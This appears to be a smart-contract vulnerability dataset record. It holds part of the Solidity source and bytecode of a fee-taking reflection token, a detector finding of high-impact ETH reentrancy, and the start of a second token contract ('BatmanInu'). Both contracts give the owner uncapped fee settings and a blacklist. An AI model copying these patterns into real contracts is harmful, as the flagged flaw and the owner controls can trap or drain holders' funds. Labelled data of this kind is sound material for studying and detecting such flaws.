function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610562578063dd62ed3e14610582578063ea1644d5146105c8578063f2fde38b146105e857600080fd5b8063a2a957bb146104dd578063a9059cbb146104fd578063bfd792841461051d578063c3c8cd801461054d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104575780638f9a55c01461047757806395d89b411461048d57806398a5c315146104bd57600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638da5cb5b1461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611964565b610608565b005b34801561020a57600080fd5b5060408051808201909152601281527153686962612048756e74657220447265616d60701b60208201525b6040516102429190611a29565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611a7e565b6106a7565b6040519015158152602001610242565b34801561028757600080fd5b5060145461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50698d2c1289ddf398ee24005b604051908152602001610242565b3480156102e657600080fd5b5061026b6102f5366004611aaa565b6106be565b34801561030657600080fd5b506102cc60185481565b34801561031c57600080fd5b5060405160098152602001610242565b34801561033857600080fd5b5060155461029b906001600160a01b031681565b34801561035857600080fd5b506101fc610367366004611aeb565b610727565b34801561037857600080fd5b506101fc610387366004611b18565b610772565b34801561039857600080fd5b506101fc6107ba565b3480156103ad57600080fd5b506102cc6103bc366004611aeb565b610805565b3480156103cd57600080fd5b506101fc610827565b3480156103e257600080fd5b506101fc6103f1366004611b33565b61089b565b34801561040257600080fd5b506102cc60165481565b34801561041857600080fd5b506102cc610427366004611aeb565b60116020526000908152604090205481565b34801561044557600080fd5b506000546001600160a01b031661029b565b34801561046357600080fd5b506101fc610472366004611b18565b6108ca565b34801561048357600080fd5b506102cc60175481565b34801561049957600080fd5b506040805180820190915260078152665348494243415760c81b6020820152610235565b3480156104c957600080fd5b506101fc6104d8366004611b33565b610912565b3480156104e957600080fd5b506101fc6104f8366004611b4c565b610941565b34801561050957600080fd5b5061026b610518366004611a7e565b61097f565b34801561052957600080fd5b5061026b610538366004611aeb565b60106020526000908152604090205460ff1681565b34801561055957600080fd5b506101fc61098c565b34801561056e57600080fd5b506101fc61057d366004611b7e565b6109e0565b34801561058e57600080fd5b506102cc61059d366004611c02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d457600080fd5b506101fc6105e3366004611b33565b610a81565b3480156105f457600080fd5b506101fc610603366004611aeb565b610ab0565b6000546001600160a01b0316331461063b5760405162461bcd60e51b815260040161063290611c3b565b60405180910390fd5b60005b81518110156106a35760016010600084848151811061065f5761065f611c70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069b81611c9c565b91505061063e565b5050565b60006106b4338484610b9a565b5060015b92915050565b60006106cb848484610cbe565b61071d843361071885604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fa565b610b9a565b5060019392505050565b6000546001600160a01b031633146107515760405162461bcd60e51b815260040161063290611c3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260040161063290611c3b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ef57506013546001600160a01b0316336001600160a01b0316145b6107f857600080fd5b4761080281611234565b50565b6001600160a01b0381166000908152600260205260408120546106b89061126e565b6000546001600160a01b031633146108515760405162461bcd60e51b815260040161063290611c3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c55760405162461bcd60e51b815260040161063290611c3b565b601655565b6000546001600160a01b031633146108f45760405162461bcd60e51b815260040161063290611c3b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161063290611c3b565b601855565b6000546001600160a01b0316331461096b5760405162461bcd60e51b815260040161063290611c3b565b600893909355600a91909155600955600b55565b60006106b4338484610cbe565b6012546001600160a01b0316336001600160a01b031614806109c157506013546001600160a01b0316336001600160a01b0316145b6109ca57600080fd5b60006109d530610805565b9050610802816112f2565b6000546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161063290611c3b565b60005b82811015610a7b578160056000868685818110610a2c57610a2c611c70565b9050602002016020810190610a419190611aeb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7381611c9c565b915050610a0d565b50505050565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161063290611c3b565b601755565b6000546001600160a01b03163314610ada5760405162461bcd60e51b815260040161063290611c3b565b6001600160a01b038116610b3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610632565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610632565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610632565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610632565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610632565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610632565b6000546001600160a01b03848116911614801590610e1257506000546001600160a01b03838116911614155b156110f357601554600160a01b900460ff16610eab576000546001600160a01b03848116911614610eab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610632565b601654811115610efd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610632565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3f57506001600160a01b03821660009081526010602052604090205460ff16155b610f975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610632565b6015546001600160a01b0383811691161461101c5760175481610fb984610805565b610fc39190611cb5565b1061101c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610632565b600061102730610805565b6018546016549192508210159082106110405760165491505b8080156110575750601554600160a81b900460ff16155b801561107157506015546001600160a01b03868116911614155b80156110865750601554600160b01b900460ff165b80156110ab57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d057506001600160a01b03841660009081526005602052604090205460ff16155b156110f0576110de826112f2565b4780156110ee576110ee47611234565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113557506001600160a01b03831660009081526005602052604090205460ff165b8061116757506015546001600160a01b0385811691161480159061116757506015546001600160a01b03848116911614155b15611174575060006111ee565b6015546001600160a01b03858116911614801561119f57506014546001600160a01b03848116911614155b156111b157600854600c55600954600d555b6015546001600160a01b0384811691161480156111dc57506014546001600160a01b03858116911614155b156111ee57600a54600c55600b54600d555b610a7b8484848461146c565b6000818484111561121e5760405162461bcd60e51b81526004016106329190611a29565b50600061122b8486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a3573d6000803e3d6000fd5b60006006548211156112d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610632565b60006112df61149a565b90506112eb83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133a5761133a611c70565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611ce4565b816001815181106113ca576113ca611c70565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b9a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611d01565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a7b57610a7b600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611735565b6001600160a01b0389166000908152600260205260409020556115c281611794565b6115cc84836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b6006546000908190698d2c1289ddf398ee240061164182826114bd565b82101561165f57505060065492698d2c1289ddf398ee240092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106329190611a29565b50600061122b8486611d72565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149a565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fa565b6000806117428385611cb5565b9050838110156112eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610632565b600061179e61149a565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114bd565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826000036118b9575060006106b8565b60006118c58385611d94565b9050826118d28583611d72565b146112eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610632565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080257600080fd5b803561195f8161193f565b919050565b6000602080838503121561197757600080fd5b823567ffffffffffffffff8082111561198f57600080fd5b818501915085601f8301126119a357600080fd5b8135818111156119b5576119b5611929565b8060051b604051601f19603f830116810181811085821117156119da576119da611929565b6040529182528482019250838101850191888311156119f857600080fd5b938501935b82851015611a1d57611a0e85611954565b845293850193928501926119fd565b98975050505050505050565b600060208083528351808285015260005b81811015611a5657858101830151858201604001528201611a3a565b81811115611a68576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9157600080fd5b8235611a9c8161193f565b946020939093013593505050565b600080600060608486031215611abf57600080fd5b8335611aca8161193f565b92506020840135611ada8161193f565b929592945050506040919091013590565b600060208284031215611afd57600080fd5b81356112eb8161193f565b8035801515811461195f57600080fd5b600060208284031215611b2a57600080fd5b6112eb82611b08565b600060208284031215611b4557600080fd5b5035919050565b60008060008060808587031215611b6257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9357600080fd5b833567ffffffffffffffff80821115611bab57600080fd5b818601915086601f830112611bbf57600080fd5b813581811115611bce57600080fd5b8760208260051b8501011115611be357600080fd5b602092830195509350611bf99186019050611b08565b90509250925092565b60008060408385031215611c1557600080fd5b8235611c208161193f565b91506020830135611c308161193f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611cae57611cae611c86565b5060010190565b60008219821115611cc857611cc8611c86565b500190565b600082821015611cdf57611cdf611c86565b500390565b600060208284031215611cf657600080fd5b81516112eb8161193f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f58e17cfbbe3223a6a6f8c0a45b785f1e382194e2b25ffb179217ec36ce8e0dc64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,717 |
0x506649a746e71046689e64b2420019790d30aca4
|
/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
//BatmanInu ($BatmanInu)
//2% Deflationary yes
//Bot Protect yes
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BatmanInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BatmanInu";
string private constant _symbol = "BatmanInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
